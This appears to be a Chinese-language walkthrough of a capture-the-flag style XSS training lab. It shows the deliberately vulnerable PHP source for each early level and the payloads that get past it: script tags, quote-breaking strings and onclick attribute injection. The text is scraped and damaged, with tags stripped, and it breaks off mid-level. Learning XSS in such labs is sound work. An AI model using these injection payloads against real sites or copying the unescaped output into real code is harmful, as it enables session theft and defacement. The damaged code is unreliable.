文章目录 前言第1关第2关第3关第4关第5关第6关第7关第8关第9关第10关 前言 漏洞介绍:XSS漏洞 参考文章:XSS挑战之旅 游戏规则:触发alert(
漏洞介绍:XSS漏洞
参考文章:XSS挑战之旅
游戏规则:触发alert()弹窗,进入下一关
进入第一关
随便输入一下,观测输出,看源代码
输入语句进行测试,触发弹窗,进入第二关
DOCTYPE html><html><head><meta Http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() //触发alert(),进入下一关{ confirm("完成的不错!"); window.location.href="level2.PHP?keyWord=test"; }script><title>欢迎来到level1title>head><body><h1 align=center>欢迎来到level1h1>php ini_set("display_errors", 0);$str = $_GET["name"];echo "欢迎用户".$str."
"; //直接对传入的参数进行输出,没有过滤?><center><img src=level1.png>center>payload的长度:".strlen($str)."";?>body>html>
分析浏览器加载的结果
1 ------------------------------------------------$str=<script>alert(1)script><h2 align=center>欢迎用户".$str."h2>2 ------------------------------------------------<h2 align=center>欢迎用户<script>alert(1)script>h2>3 ------------------------------------------------<h2 align=center>欢迎用户<script>alert(1) //触发alert()函数script>h2>
输入语句进行测试
查看网页源代码
分析浏览器加载的结果
<input name=keyword value=""> //这里的<script>alert(1)script>是字符串<input name=keyword value="11111">"<script>alert(1)script>"> //闭合引号,这里的<script>alert(1)script>可以被浏览器加载------------------------------------------------<input name=keyword value="11111">"<script>alert(1)script>">
进入下一关
源代码
ini_set("display_errors", 0);$str = $_GET["keyword"];echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".' $str.'"> //闭合value值';?>
输入语句进行测试
测试,看效果修改
payload
<input name=keyword value='11111' onclick='alert(1)'>
下一关
源码
ini_set("display_errors", 0);$str = $_GET["keyword"];echo "没有找到和"
.htmlspecialchars($str)."相关的结果."." ";?>
输入语句进行测试
继续测试11111' onclick='alert(1)
测试11111" onclick="alert(1)
下一关
源码
ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str); //替换了< >$str3=str_replace("<","",$str2);echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".' $str3.'">';?>
输入语句进行测试
测试
测试
123">
浏览器加载效果
源码
ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]); //不能用大写过滤$str2=str_replace("
0